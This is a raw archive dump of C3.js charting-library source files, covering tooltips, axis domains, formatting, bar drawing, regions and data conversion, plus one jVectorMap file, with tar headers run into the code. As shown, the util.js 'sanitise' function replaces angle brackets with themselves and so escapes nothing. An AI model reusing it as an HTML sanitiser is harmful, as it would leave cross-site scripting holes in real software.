"<td class='name'><span style='background-color:" + bgcolor + "'></span>" + name + "</td>"; text += "<td class='value'>" + value + "</td>"; text += "</tr>"; } } return text + "</table>"; }; ChartInternal.prototype.tooltipPosition = function (dataToShow, tWidth, tHeight, element) { var $$ = this, config = $$.config, d3 = $$.d3; var svgLeft, tooltipLeft, tooltipRight, tooltipTop, chartRight; var forArc = $$.hasArcType(), mouse = d3.mouse(element); // Determin tooltip position if (forArc) { tooltipLeft = (($$.width - ($$.isLegendRight ? $$.getLegendWidth() : 0)) / 2) + mouse[0]; tooltipTop = ($$.hasType('gauge') ? $$.height : $$.height / 2) + mouse[1] + 20; } else { svgLeft = $$.getSvgLeft(true); if (config.axis_rotated) { tooltipLeft = svgLeft + mouse[0] + 100; tooltipRight = tooltipLeft + tWidth; chartRight = $$.currentWidth - $$.getCurrentPaddingRight(); tooltipTop = $$.x(dataToShow[0].x) + 20; } else { tooltipLeft = svgLeft + $$.getCurrentPaddingLeft(true) + $$.x(dataToShow[0].x) + 20; tooltipRight = tooltipLeft + tWidth; chartRight = svgLeft + $$.currentWidth - $$.getCurrentPaddingRight(); tooltipTop = mouse[1] + 15; } if (tooltipRight > chartRight) { // 20 is needed for Firefox to keep tooltip width tooltipLeft -= tooltipRight - chartRight + 20; } if (tooltipTop + tHeight > $$.currentHeight) { tooltipTop -= tHeight + 30; } } if (tooltipTop < 0) { tooltipTop = 0; } return { top: tooltipTop, left: tooltipLeft }; }; ChartInternal.prototype.showTooltip = function (selectedData, element) { var $$ = this, config = $$.config; var tWidth, tHeight, position; var forArc = $$.hasArcType(), dataToShow = selectedData.filter(function (d) { return d && isValue(d.value); }), positionFunction = config.tooltip_position || ChartInternal.prototype.tooltipPosition; if (dataToShow.length === 0 || !config.tooltip_show) { return; } $$.tooltip.html(config.tooltip_contents.call($$, selectedData, $$.axis.getXAxisTickFormat(), $$.getYFormat(forArc), $$.color)).style("display", "block"); // Get tooltip dimensions tWidth = $$.tooltip.property('offsetWidth'); tHeight = $$.tooltip.property('offsetHeight'); position = positionFunction.call(this, dataToShow, tWidth, tHeight, element); // Set tooltip $$.tooltip .style("top", position.top + "px") .style("left", position.left + 'px'); }; ChartInternal.prototype.hideTooltip = function () { this.tooltip.style("display", "none"); }; api.grid.js000064400000002156151677320360006615 0ustar00import { Chart } from './core'; Chart.prototype.xgrids = function (grids) { var $$ = this.internal, config = $$.config; if (! grids) { return config.grid_x_lines; } config.grid_x_lines = grids; $$.redrawWithoutRescale(); return config.grid_x_lines; }; Chart.prototype.xgrids.add = function (grids) { var $$ = this.internal; return this.xgrids($$.config.grid_x_lines.concat(grids ? grids : [])); }; Chart.prototype.xgrids.remove = function (params) { // TODO: multiple var $$ = this.internal; $$.removeGridLines(params, true); }; Chart.prototype.ygrids = function (grids) { var $$ = this.internal, config = $$.config; if (! grids) { return config.grid_y_lines; } config.grid_y_lines = grids; $$.redrawWithoutRescale(); return config.grid_y_lines; }; Chart.prototype.ygrids.add = function (grids) { var $$ = this.internal; return this.ygrids($$.config.grid_y_lines.concat(grids ? grids : [])); }; Chart.prototype.ygrids.remove = function (params) { // TODO: multiple var $$ = this.internal; $$.removeGridLines(params, false); }; domain.js000064400000025675151677320360006402 0ustar00import { ChartInternal } from './core'; import { isValue, isDefined, diffDomain, notEmpty } from './util'; ChartInternal.prototype.getYDomainMin = function (targets) { var $$ = this, config = $$.config, ids = $$.mapToIds(targets), ys = $$.getValuesAsIdKeyed(targets), j, k, baseId, idsInGroup, id, hasNegativeValue; if (config.data_groups.length > 0) { hasNegativeValue = $$.hasNegativeValueInTargets(targets); for (j = 0; j < config.data_groups.length; j++) { // Determine baseId idsInGroup = config.data_groups[j].filter(function (id) { return ids.indexOf(id) >= 0; }); if (idsInGroup.length === 0) { continue; } baseId = idsInGroup[0]; // Consider negative values if (hasNegativeValue && ys[baseId]) { ys[baseId].forEach(function (v, i) { ys[baseId][i] = v < 0 ? v : 0; }); } // Compute min for (k = 1; k < idsInGroup.length; k++) { id = idsInGroup[k]; if (! ys[id]) { continue; } ys[id].forEach(function (v, i) { if ($$.axis.getId(id) === $$.axis.getId(baseId) && ys[baseId] && !(hasNegativeValue && +v > 0)) { ys[baseId][i] += +v; } }); } } } return $$.d3.min(Object.keys(ys).map(function (key) { return $$.d3.min(ys[key]); })); }; ChartInternal.prototype.getYDomainMax = function (targets) { var $$ = this, config = $$.config, ids = $$.mapToIds(targets), ys = $$.getValuesAsIdKeyed(targets), j, k, baseId, idsInGroup, id, hasPositiveValue; if (config.data_groups.length > 0) { hasPositiveValue = $$.hasPositiveValueInTargets(targets); for (j = 0; j < config.data_groups.length; j++) { // Determine baseId idsInGroup = config.data_groups[j].filter(function (id) { return ids.indexOf(id) >= 0; }); if (idsInGroup.length === 0) { continue; } baseId = idsInGroup[0]; // Consider positive values if (hasPositiveValue && ys[baseId]) { ys[baseId].forEach(function (v, i) { ys[baseId][i] = v > 0 ? v : 0; }); } // Compute max for (k = 1; k < idsInGroup.length; k++) { id = idsInGroup[k]; if (! ys[id]) { continue; } ys[id].forEach(function (v, i) { if ($$.axis.getId(id) === $$.axis.getId(baseId) && ys[baseId] && !(hasPositiveValue && +v < 0)) { ys[baseId][i] += +v; } }); } } } return $$.d3.max(Object.keys(ys).map(function (key) { return $$.d3.max(ys[key]); })); }; ChartInternal.prototype.getYDomain = function (targets, axisId, xDomain) { var $$ = this, config = $$.config, targetsByAxisId = targets.filter(function (t) { return $$.axis.getId(t.id) === axisId; }), yTargets = xDomain ? $$.filterByXDomain(targetsByAxisId, xDomain) : targetsByAxisId, yMin = axisId === 'y2' ? config.axis_y2_min : config.axis_y_min, yMax = axisId === 'y2' ? config.axis_y2_max : config.axis_y_max, yDomainMin = $$.getYDomainMin(yTargets), yDomainMax = $$.getYDomainMax(yTargets), domain, domainLength, padding, padding_top, padding_bottom, center = axisId === 'y2' ? config.axis_y2_center : config.axis_y_center, yDomainAbs, lengths, diff, ratio, isAllPositive, isAllNegative, isZeroBased = ($$.hasType('bar', yTargets) && config.bar_zerobased) || ($$.hasType('area', yTargets) && config.area_zerobased), isInverted = axisId === 'y2' ? config.axis_y2_inverted : config.axis_y_inverted, showHorizontalDataLabel = $$.hasDataLabel() && config.axis_rotated, showVerticalDataLabel = $$.hasDataLabel() && !config.axis_rotated; // MEMO: avoid inverting domain unexpectedly yDomainMin = isValue(yMin) ? yMin : isValue(yMax) ? (yDomainMin < yMax ? yDomainMin : yMax - 10) : yDomainMin; yDomainMax = isValue(yMax) ? yMax : isValue(yMin) ? (yMin < yDomainMax ? yDomainMax : yMin + 10) : yDomainMax; if (yTargets.length === 0) { // use current domain if target of axisId is none return axisId === 'y2' ? $$.y2.domain() : $$.y.domain(); } if (isNaN(yDomainMin)) { // set minimum to zero when not number yDomainMin = 0; } if (isNaN(yDomainMax)) { // set maximum to have same value as yDomainMin yDomainMax = yDomainMin; } if (yDomainMin === yDomainMax) { yDomainMin < 0 ? yDomainMax = 0 : yDomainMin = 0; } isAllPositive = yDomainMin >= 0 && yDomainMax >= 0; isAllNegative = yDomainMin <= 0 && yDomainMax <= 0; // Cancel zerobased if axis_*_min / axis_*_max specified if ((isValue(yMin) && isAllPositive) || (isValue(yMax) && isAllNegative)) { isZeroBased = false; } // Bar/Area chart should be 0-based if all positive|negative if (isZeroBased) { if (isAllPositive) { yDomainMin = 0; } if (isAllNegative) { yDomainMax = 0; } } domainLength = Math.abs(yDomainMax - yDomainMin); padding = padding_top = padding_bottom = domainLength * 0.1; if (typeof center !== 'undefined') { yDomainAbs = Math.max(Math.abs(yDomainMin), Math.abs(yDomainMax)); yDomainMax = center + yDomainAbs; yDomainMin = center - yDomainAbs; } // add padding for data label if (showHorizontalDataLabel) { lengths = $$.getDataLabelLength(yDomainMin, yDomainMax, 'width'); diff = diffDomain($$.y.range()); ratio = [lengths[0] / diff, lengths[1] / diff]; padding_top += domainLength * (ratio[1] / (1 - ratio[0] - ratio[1])); padding_bottom += domainLength * (ratio[0] / (1 - ratio[0] - ratio[1])); } else if (showVerticalDataLabel) { lengths = $$.getDataLabelLength(yDomainMin, yDomainMax, 'height'); padding_top += $$.axis.convertPixelsToAxisPadding(lengths[1], domainLength); padding_bottom += $$.axis.convertPixelsToAxisPadding(lengths[0], domainLength); } if (axisId === 'y' && notEmpty(config.axis_y_padding)) { padding_top = $$.axis.getPadding(config.axis_y_padding, 'top', padding_top, domainLength); padding_bottom = $$.axis.getPadding(config.axis_y_padding, 'bottom', padding_bottom, domainLength); } if (axisId === 'y2' && notEmpty(config.axis_y2_padding)) { padding_top = $$.axis.getPadding(config.axis_y2_padding, 'top', padding_top, domainLength); padding_bottom = $$.axis.getPadding(config.axis_y2_padding, 'bottom', padding_bottom, domainLength); } // Bar/Area chart should be 0-based if all positive|negative if (isZeroBased) { if (isAllPositive) { padding_bottom = yDomainMin; } if (isAllNegative) { padding_top = -yDomainMax; } } domain = [yDomainMin - padding_bottom, yDomainMax + padding_top]; return isInverted ? domain.reverse() : domain; }; ChartInternal.prototype.getXDomainMin = function (targets) { var $$ = this, config = $$.config; return isDefined(config.axis_x_min) ? ($$.isTimeSeries() ? this.parseDate(config.axis_x_min) : config.axis_x_min) : $$.d3.min(targets, function (t) { return $$.d3.min(t.values, function (v) { return v.x; }); }); }; ChartInternal.prototype.getXDomainMax = function (targets) { var $$ = this, config = $$.config; return isDefined(config.axis_x_max) ? ($$.isTimeSeries() ? this.parseDate(config.axis_x_max) : config.axis_x_max) : $$.d3.max(targets, function (t) { return $$.d3.max(t.values, function (v) { return v.x; }); }); }; ChartInternal.prototype.getXDomainPadding = function (domain) { var $$ = this, config = $$.config, diff = domain[1] - domain[0], maxDataCount, padding, paddingLeft, paddingRight; if ($$.isCategorized()) { padding = 0; } else if ($$.hasType('bar')) { maxDataCount = $$.getMaxDataCount(); padding = maxDataCount > 1 ? (diff / (maxDataCount - 1)) / 2 : 0.5; } else { padding = diff * 0.01; } if (typeof config.axis_x_padding === 'object' && notEmpty(config.axis_x_padding)) { paddingLeft = isValue(config.axis_x_padding.left) ? config.axis_x_padding.left : padding; paddingRight = isValue(config.axis_x_padding.right) ? config.axis_x_padding.right : padding; } else if (typeof config.axis_x_padding === 'number') { paddingLeft = paddingRight = config.axis_x_padding; } else { paddingLeft = paddingRight = padding; } return {left: paddingLeft, right: paddingRight}; }; ChartInternal.prototype.getXDomain = function (targets) { var $$ = this, xDomain = [$$.getXDomainMin(targets), $$.getXDomainMax(targets)], firstX = xDomain[0], lastX = xDomain[1], padding = $$.getXDomainPadding(xDomain), min = 0, max = 0; // show center of x domain if min and max are the same if ((firstX - lastX) === 0 && !$$.isCategorized()) { if ($$.isTimeSeries()) { firstX = new Date(firstX.getTime() * 0.5); lastX = new Date(lastX.getTime() * 1.5); } else { firstX = firstX === 0 ? 1 : (firstX * 0.5); lastX = lastX === 0 ? -1 : (lastX * 1.5); } } if (firstX || firstX === 0) { min = $$.isTimeSeries() ? new Date(firstX.getTime() - padding.left) : firstX - padding.left; } if (lastX || lastX === 0) { max = $$.isTimeSeries() ? new Date(lastX.getTime() + padding.right) : lastX + padding.right; } return [min, max]; }; ChartInternal.prototype.updateXDomain = function (targets, withUpdateXDomain, withUpdateOrgXDomain, withTrim, domain) { var $$ = this, config = $$.config; if (withUpdateOrgXDomain) { $$.x.domain(domain ? domain : $$.d3.extent($$.getXDomain(targets))); $$.orgXDomain = $$.x.domain(); if (config.zoom_enabled) { $$.zoom.update(); } $$.subX.domain($$.x.domain()); if ($$.brush) { $$.brush.updateScale($$.subX); } } if (withUpdateXDomain) { $$.x.domain(domain ? domain : (!$$.brush || $$.brush.empty()) ? $$.orgXDomain : $$.brush.selectionAsValue()); } // Trim domain when too big by zoom mousemove event if (withTrim) { $$.x.domain($$.trimXDomain($$.x.orgDomain())); } return $$.x.domain(); }; ChartInternal.prototype.trimXDomain = function (domain) { var zoomDomain = this.getZoomDomain(), min = zoomDomain[0], max = zoomDomain[1]; if (domain[0] <= min) { domain[1] = +domain[1] + (min - domain[0]); domain[0] = min; } if (max <= domain[1]) { domain[0] = +domain[0] - (domain[1] - max); domain[1] = max; } return domain; }; format.js000064400000003513151677320360006406 0ustar00import { ChartInternal } from './core'; import { isValue } from './util'; ChartInternal.prototype.getYFormat = function (forArc) { var $$ = this, formatForY = forArc && !$$.hasType('gauge') ? $$.defaultArcValueFormat : $$.yFormat, formatForY2 = forArc && !$$.hasType('gauge') ? $$.defaultArcValueFormat : $$.y2Format; return function (v, ratio, id) { var format = $$.axis.getId(id) === 'y2' ? formatForY2 : formatForY; return format.call($$, v, ratio); }; }; ChartInternal.prototype.yFormat = function (v) { var $$ = this, config = $$.config, format = config.axis_y_tick_format ? config.axis_y_tick_format : $$.defaultValueFormat; return format(v); }; ChartInternal.prototype.y2Format = function (v) { var $$ = this, config = $$.config, format = config.axis_y2_tick_format ? config.axis_y2_tick_format : $$.defaultValueFormat; return format(v); }; ChartInternal.prototype.defaultValueFormat = function (v) { return isValue(v) ? +v : ""; }; ChartInternal.prototype.defaultArcValueFormat = function (v, ratio) { return (ratio * 100).toFixed(1) + '%'; }; ChartInternal.prototype.dataLabelFormat = function (targetId) { var $$ = this, data_labels = $$.config.data_labels, format, defaultFormat = function (v) { return isValue(v) ? +v : ""; }; // find format according to axis id if (typeof data_labels.format === 'function') { format = data_labels.format; } else if (typeof data_labels.format === 'object') { if (data_labels.format[targetId]) { format = data_labels.format[targetId] === true ? defaultFormat : data_labels.format[targetId]; } else { format = function () { return ''; }; } } else { format = defaultFormat; } return format; }; api.tooltip.js000064400000002172151677320360007360 0ustar00import { Chart } from './core'; Chart.prototype.tooltip = function () {}; Chart.prototype.tooltip.show = function (args) { var $$ = this.internal, targets, data, mouse = {}; // determine mouse position on the chart if (args.mouse) { mouse = args.mouse; } else { // determine focus data if (args.data) { data = args.data; } else if (typeof args.x !== 'undefined') { if (args.id) { targets = $$.data.targets.filter(function(t){ return t.id === args.id; }); } else { targets = $$.data.targets; } data = $$.filterByX(targets, args.x).slice(0,1)[0]; } mouse = data ? $$.getMousePosition(data) : null; } // emulate mouse events to show $$.dispatchEvent('mousemove', mouse); $$.config.tooltip_onshow.call($$, data); }; Chart.prototype.tooltip.hide = function () { // TODO: get target data by checking the state of focus this.internal.dispatchEvent('mouseout', 0); this.internal.config.tooltip_onhide.call(this); }; shape.bar.js000064400000012751151677320360006765 0ustar00import CLASS from './class'; import { ChartInternal } from './core'; import { isValue } from './util'; ChartInternal.prototype.initBar = function () { var $$ = this; $$.main.select('.' + CLASS.chart).append("g") .attr("class", CLASS.chartBars); }; ChartInternal.prototype.updateTargetsForBar = function (targets) { var $$ = this, config = $$.config, mainBars, mainBarEnter, classChartBar = $$.classChartBar.bind($$), classBars = $$.classBars.bind($$), classFocus = $$.classFocus.bind($$); mainBars = $$.main.select('.' + CLASS.chartBars).selectAll('.' + CLASS.chartBar) .data(targets) .attr('class', function (d) { return classChartBar(d) + classFocus(d); }); mainBarEnter = mainBars.enter().append('g') .attr('class', classChartBar) .style("pointer-events", "none"); // Bars for each data mainBarEnter.append('g') .attr("class", classBars) .style("cursor", function (d) { return config.data_selection_isselectable(d) ? "pointer" : null; }); }; ChartInternal.prototype.updateBar = function (durationForExit) { var $$ = this, barData = $$.barData.bind($$), classBar = $$.classBar.bind($$), initialOpacity = $$.initialOpacity.bind($$), color = function (d) { return $$.color(d.id); }; var mainBar = $$.main.selectAll('.' + CLASS.bars).selectAll('.' + CLASS.bar) .data(barData); var mainBarEnter = mainBar.enter().append('path') .attr("class", classBar) .style("stroke", color) .style("fill", color); $$.mainBar = mainBarEnter.merge(mainBar) .style("opacity", initialOpacity); mainBar.exit().transition().duration(durationForExit) .style("opacity", 0); }; ChartInternal.prototype.redrawBar = function (drawBar, withTransition, transition) { return [ (withTransition ? this.mainBar.transition(transition) : this.mainBar) .attr('d', drawBar) .style("stroke", this.color) .style("fill", this.color) .style("opacity", 1) ]; }; ChartInternal.prototype.getBarW = function (axis, barTargetsNum) { var $$ = this, config = $$.config, w = typeof config.bar_width === 'number' ? config.bar_width : barTargetsNum ? (axis.tickInterval() * config.bar_width_ratio) / barTargetsNum : 0; return config.bar_width_max && w > config.bar_width_max ? config.bar_width_max : w; }; ChartInternal.prototype.getBars = function (i, id) { var $$ = this; return (id ? $$.main.selectAll('.' + CLASS.bars + $$.getTargetSelectorSuffix(id)) : $$.main).selectAll('.' + CLASS.bar + (isValue(i) ? '-' + i : '')); }; ChartInternal.prototype.expandBars = function (i, id, reset) { var $$ = this; if (reset) { $$.unexpandBars(); } $$.getBars(i, id).classed(CLASS.EXPANDED, true); }; ChartInternal.prototype.unexpandBars = function (i) { var $$ = this; $$.getBars(i).classed(CLASS.EXPANDED, false); }; ChartInternal.prototype.generateDrawBar = function (barIndices, isSub) { var $$ = this, config = $$.config, getPoints = $$.generateGetBarPoints(barIndices, isSub); return function (d, i) { // 4 points that make a bar var points = getPoints(d, i); // switch points if axis is rotated, not applicable for sub chart var indexX = config.axis_rotated ? 1 : 0; var indexY = config.axis_rotated ? 0 : 1; var path = 'M ' + points[0][indexX] + ',' + points[0][indexY] + ' ' + 'L' + points[1][indexX] + ',' + points[1][indexY] + ' ' + 'L' + points[2][indexX] + ',' + points[2][indexY] + ' ' + 'L' + points[3][indexX] + ',' + points[3][indexY] + ' ' + 'z'; return path; }; }; ChartInternal.prototype.generateGetBarPoints = function (barIndices, isSub) { var $$ = this, axis = isSub ? $$.subXAxis : $$.xAxis, barTargetsNum = barIndices.__max__ + 1, barW = $$.getBarW(axis, barTargetsNum), barX = $$.getShapeX(barW, barTargetsNum, barIndices, !!isSub), barY = $$.getShapeY(!!isSub), barOffset = $$.getShapeOffset($$.isBarType, barIndices, !!isSub), barSpaceOffset = barW * ($$.config.bar_space / 2), yScale = isSub ? $$.getSubYScale : $$.getYScale; return function (d, i) { var y0 = yScale.call($$, d.id)(0), offset = barOffset(d, i) || y0, // offset is for stacked bar chart posX = barX(d), posY = barY(d); // fix posY not to overflow opposite quadrant if ($$.config.axis_rotated) { if ((0 < d.value && posY < y0) || (d.value < 0 && y0 < posY)) { posY = y0; } } // 4 points that make a bar return [ [posX + barSpaceOffset, offset], [posX + barSpaceOffset, posY - (y0 - offset)], [posX + barW - barSpaceOffset, posY - (y0 - offset)], [posX + barW - barSpaceOffset, offset] ]; }; }; ChartInternal.prototype.isWithinBar = function (mouse, that) { var box = that.getBoundingClientRect(), seg0 = that.pathSegList.getItem(0), seg1 = that.pathSegList.getItem(1), x = Math.min(seg0.x, seg1.x), y = Math.min(seg0.y, seg1.y), w = box.width, h = box.height, offset = 2, sx = x - offset, ex = x + w + offset, sy = y + h + offset, ey = y - offset; return sx < mouse[0] && mouse[0] < ex && ey < mouse[1] && mouse[1] < sy; }; api.region.js000064400000002705151677320360007153 0ustar00import CLASS from './class'; import { Chart } from './core'; Chart.prototype.regions = function (regions) { var $$ = this.internal, config = $$.config; if (!regions) { return config.regions; } config.regions = regions; $$.redrawWithoutRescale(); return config.regions; }; Chart.prototype.regions.add = function (regions) { var $$ = this.internal, config = $$.config; if (!regions) { return config.regions; } config.regions = config.regions.concat(regions); $$.redrawWithoutRescale(); return config.regions; }; Chart.prototype.regions.remove = function (options) { var $$ = this.internal, config = $$.config, duration, classes, regions; options = options || {}; duration = $$.getOption(options, "duration", config.transition_duration); classes = $$.getOption(options, "classes", [CLASS.region]); regions = $$.main.select('.' + CLASS.regions).selectAll(classes.map(function (c) { return '.' + c; })); (duration ? regions.transition().duration(duration) : regions) .style('opacity', 0) .remove(); config.regions = config.regions.filter(function (region) { var found = false; if (!region['class']) { return true; } region['class'].split(' ').forEach(function (c) { if (classes.indexOf(c) >= 0) { found = true; } }); return !found; }); return config.regions; }; region.js000064400000002414151677320360006400 0ustar00jvm.Region = function(config){ var bbox, text, offsets, labelDx, labelDy; this.config = config; this.map = this.config.map; this.shape = config.canvas.addPath({ d: config.path, 'data-code': config.code }, config.style, config.canvas.rootElement); this.shape.addClass('jvectormap-region jvectormap-element'); bbox = this.shape.getBBox(); text = this.getLabelText(config.code); if (this.config.label && text) { offsets = this.getLabelOffsets(config.code); this.labelX = bbox.x + bbox.width / 2 + offsets[0]; this.labelY = bbox.y + bbox.height / 2 + offsets[1]; this.label = config.canvas.addText({ text: text, 'text-anchor': 'middle', 'alignment-baseline': 'central', x: this.labelX, y: this.labelY, 'data-code': config.code }, config.labelStyle, config.labelsGroup); this.label.addClass('jvectormap-region jvectormap-element'); } }; jvm.inherits(jvm.Region, jvm.MapObject); jvm.Region.prototype.updateLabelPosition = function(){ if (this.label) { this.label.set({ x: this.labelX * this.map.scale + this.map.transX * this.map.scale, y: this.labelY * this.map.scale + this.map.transY * this.map.scale }); } };chart-internal.js000064400000000423151677320360010026 0ustar00export function ChartInternal(api) { var $$ = this; $$.d3 = window.d3 ? window.d3 : typeof require !== 'undefined' ? require("d3") : undefined; $$.api = api; $$.config = $$.getDefaultConfig(); $$.data = {}; $$.cache = {}; $$.axes = {}; } util.js000064400000003262151677320360006074 0ustar00export var asHalfPixel = function(n) { return Math.ceil(n) + 0.5; }; export var ceil10 = function(v) { return Math.ceil(v / 10) * 10; }; export var diffDomain = function(d) { return d[1] - d[0]; }; export var getOption = function(options, key, defaultValue) { return isDefined(options[key]) ? options[key] : defaultValue; }; export var getPathBox = function(path) { var box = path.getBoundingClientRect(), items = [path.pathSegList.getItem(0), path.pathSegList.getItem(1)], minX = items[0].x, minY = Math.min(items[0].y, items[1].y); return { x: minX, y: minY, width: box.width, height: box.height }; }; export var hasValue = function(dict, value) { var found = false; Object.keys(dict).forEach(function(key) { if (dict[key] === value) { found = true; } }); return found; }; export var isArray = function(o) { return Array.isArray(o); }; export var isDefined = function(v) { return typeof v !== 'undefined'; }; export var isEmpty = function(o) { return typeof o === 'undefined' || o === null || (isString(o) && o.length === 0) || (typeof o === 'object' && Object.keys(o).length === 0); }; export var isFunction = function(o) { return typeof o === 'function'; }; export var isString = function(o) { return typeof o === 'string'; }; export var isUndefined = function(v) { return typeof v === 'undefined'; }; export var isValue = function(v) { return v || v === 0; }; export var notEmpty = function(o) { return !isEmpty(o); }; export var sanitise = function(str) { return typeof str === 'string' ? str.replace(/</g, '<').replace(/>/g, '>') : str; }; data.convert.js000064400000021431151677320360007505 0ustar00import { ChartInternal } from './core'; import { isValue, isUndefined, isDefined, notEmpty, isArray } from './util'; ChartInternal.prototype.convertUrlToData = function (url, mimeType, headers, keys, done) { var $$ = this, type = mimeType ? mimeType : 'csv', f, converter; if (type === 'json') { f = $$.d3.json; converter = $$.convertJsonToData; } else if (type === 'tsv') { f = $$.d3.tsv; converter = $$.convertXsvToData; } else { f = $$.d3.csv; converter = $$.convertXsvToData; } f(url, headers).then(function (data) { done.call($$, converter.call($$, data, keys)); }).catch(function (error) { throw error; }); }; ChartInternal.prototype.convertXsvToData = function (xsv) { var keys = xsv.columns, rows = xsv; if (rows.length === 0) { return { keys, rows: [ keys.reduce((row, key) => Object.assign(row, { [key]: null }), {}) ] }; } else { // [].concat() is to convert result into a plain array otherwise // test is not happy because rows have properties. return { keys, rows: [].concat(xsv) }; } }; ChartInternal.prototype.convertJsonToData = function (json, keys) { var $$ = this, new_rows = [], targetKeys, data; if (keys) { // when keys specified, json would be an array that includes objects if (keys.x) { targetKeys = keys.value.concat(keys.x); $$.config.data_x = keys.x; } else { targetKeys = keys.value; } new_rows.push(targetKeys); json.forEach(function (o) { var new_row = []; targetKeys.forEach(function (key) { // convert undefined to null because undefined data will be removed in convertDataToTargets() var v = $$.findValueInJson(o, key); if (isUndefined(v)) { v = null; } new_row.push(v); }); new_rows.push(new_row); }); data = $$.convertRowsToData(new_rows); } else { Object.keys(json).forEach(function (key) { new_rows.push([key].concat(json[key])); }); data = $$.convertColumnsToData(new_rows); } return data; }; ChartInternal.prototype.findValueInJson = function (object, path) { path = path.replace(/\[(\w+)\]/g, '.$1'); // convert indexes to properties (replace [] with .) path = path.replace(/^\./, ''); // strip a leading dot var pathArray = path.split('.'); for (var i = 0; i < pathArray.length; ++i) { var k = pathArray[i]; if (k in object) { object = object[k]; } else { return; } } return object; }; /** * Converts the rows to normalized data. * @param {any[][]} rows The row data * @return {Object} */ ChartInternal.prototype.convertRowsToData = (rows) => { const newRows = []; const keys = rows[0]; for (let i = 1; i < rows.length; i++) { const newRow = {}; for (let j = 0; j < rows[i].length; j++) { if (isUndefined(rows[i][j])) { throw new Error("Source data is missing a component at (" + i + "," + j + ")!"); } newRow[keys[j]] = rows[i][j]; } newRows.push(newRow); } return { keys, rows: newRows }; }; /** * Converts the columns to normalized data. * @param {any[][]} columns The column data * @return {Object} */ ChartInternal.prototype.convertColumnsToData = (columns) => { const newRows = []; const keys = []; for (let i = 0; i < columns.length; i++) { const key = columns[i][0]; for (let j = 1; j < columns[i].length; j++) { if (isUndefined(newRows[j - 1])) { newRows[j - 1] = {}; } if (isUndefined(columns[i][j])) { throw new Error("Source data is missing a component at (" + i + "," + j + ")!"); } newRows[j - 1][key] = columns[i][j]; } keys.push(key); } return { keys, rows: newRows }; }; /** * Converts the data format into the target format. * @param {!Object} data * @param {!Array} data.keys Ordered list of target IDs. * @param {!Array} data.rows Rows of data to convert. * @param {boolean} appendXs True to append to $$.data.xs, False to replace. * @return {!Array} */ ChartInternal.prototype.convertDataToTargets = function (data, appendXs) { var $$ = this, config = $$.config, targets, ids, xs, keys; // handles format where keys are not orderly provided if (isArray(data)) { keys = Object.keys(data[ 0 ]); } else { keys = data.keys; data = data.rows; } ids = keys.filter($$.isNotX, $$); xs = keys.filter($$.isX, $$); // save x for update data by load when custom x and c3.x API ids.forEach(function (id) { var xKey = $$.getXKey(id); if ($$.isCustomX() || $$.isTimeSeries()) { // if included in input data if (xs.indexOf(xKey) >= 0) { $$.data.xs[id] = (appendXs && $$.data.xs[id] ? $$.data.xs[id] : []).concat( data.map(function (d) { return d[xKey]; }) .filter(isValue) .map(function (rawX, i) { return $$.generateTargetX(rawX, id, i); }) ); } // if not included in input data, find from preloaded data of other id's x else if (config.data_x) { $$.data.xs[id] = $$.getOtherTargetXs(); } // if not included in input data, find from preloaded data else if (notEmpty(config.data_xs)) { $$.data.xs[id] = $$.getXValuesOfXKey(xKey, $$.data.targets); } // MEMO: if no x included, use same x of current will be used } else { $$.data.xs[id] = data.map(function (d, i) { return i; }); } }); // check x is defined ids.forEach(function (id) { if (!$$.data.xs[id]) { throw new Error('x is not defined for id = "' + id + '".'); } }); // convert to target targets = ids.map(function (id, index) { var convertedId = config.data_idConverter(id); return { id: convertedId, id_org: id, values: data.map(function (d, i) { var xKey = $$.getXKey(id), rawX = d[xKey], value = d[id] !== null && !isNaN(d[id]) ? +d[id] : null, x; // use x as categories if custom x and categorized if ($$.isCustomX() && $$.isCategorized() && !isUndefined(rawX)) { if (index === 0 && i === 0) { config.axis_x_categories = []; } x = config.axis_x_categories.indexOf(rawX); if (x === -1) { x = config.axis_x_categories.length; config.axis_x_categories.push(rawX); } } else { x = $$.generateTargetX(rawX, id, i); } // mark as x = undefined if value is undefined and filter to remove after mapped if (isUndefined(d[id]) || $$.data.xs[id].length <= i) { x = undefined; } return {x: x, value: value, id: convertedId}; }).filter(function (v) { return isDefined(v.x); }) }; }); // finish targets targets.forEach(function (t) { var i; // sort values by its x if (config.data_xSort) { t.values = t.values.sort(function (v1, v2) { var x1 = v1.x || v1.x === 0 ? v1.x : Infinity, x2 = v2.x || v2.x === 0 ? v2.x : Infinity; return x1 - x2; }); } // indexing each value i = 0; t.values.forEach(function (v) { v.index = i++; }); // this needs to be sorted because its index and value.index is identical $$.data.xs[t.id].sort(function (v1, v2) { return v1 - v2; }); }); // cache information about values $$.hasNegativeValue = $$.hasNegativeValueInTargets(targets); $$.hasPositiveValue = $$.hasPositiveValueInTargets(targets); // set target types if (config.data_type) { $$.setTargetType($$.mapToIds(targets).filter(function (id) { return ! (id in config.data_types); }), config.data_type); } // cache as original id keyed targets.forEach(function (d) { $$.addCache(d.id_org, d); }); return targets; }; api.group.js000064400000000476151677320360007027 0ustar00import { Chart } from './core'; import { isUndefined } from './util'; Chart.prototype.groups = function (groups) { var $$ = this.internal, config = $$.config; if (isUndefined(groups)) { return config.data_groups; } config.data_groups = groups; $$.redraw(); return config.data_groups; }; shape.js000064400000010377151677320360006224 0ustar00import CLASS from './class'; import { ChartInternal } from './core'; import { isUndefined } from './util'; ChartInternal.prototype.getShapeIndices = function (typeFilter) { var $$ = this, config = $$.config, indices = {}, i = 0, j, k; $$.filterTargetsToShow($$.data.targets.filter(typeFilter, $$)).forEach(function (d) { for (j = 0; j < config.data_groups.length; j++) { if (config.data_groups[j].indexOf(d.id) < 0) { continue; } for (k = 0; k < config.data_groups[j].length; k++) { if (config.data_groups[j][k] in indices) { indices[d.id] = indices[config.data_groups[j][k]]; break; } } } if (isUndefined(indices[d.id])) { indices[d.id] = i++; } }); indices.__max__ = i - 1; return indices; }; ChartInternal.prototype.getShapeX = function (offset, targetsNum, indices, isSub) { var $$ = this, scale = isSub ? $$.subX : $$.x; return function (d) { var index = d.id in indices ? indices[d.id] : 0; return d.x || d.x === 0 ? scale(d.x) - offset * (targetsNum / 2 - index) : 0; }; }; ChartInternal.prototype.getShapeY = function (isSub) { var $$ = this; return function (d) { var scale = isSub ? $$.getSubYScale(d.id) : $$.getYScale(d.id); return scale(d.value); }; }; ChartInternal.prototype.getShapeOffset = function (typeFilter, indices, isSub) { var $$ = this, targets = $$.orderTargets($$.filterTargetsToShow($$.data.targets.filter(typeFilter, $$))), targetIds = targets.map(function (t) { return t.id; }); return function (d, i) { var scale = isSub ? $$.getSubYScale(d.id) : $$.getYScale(d.id), y0 = scale(0), offset = y0; 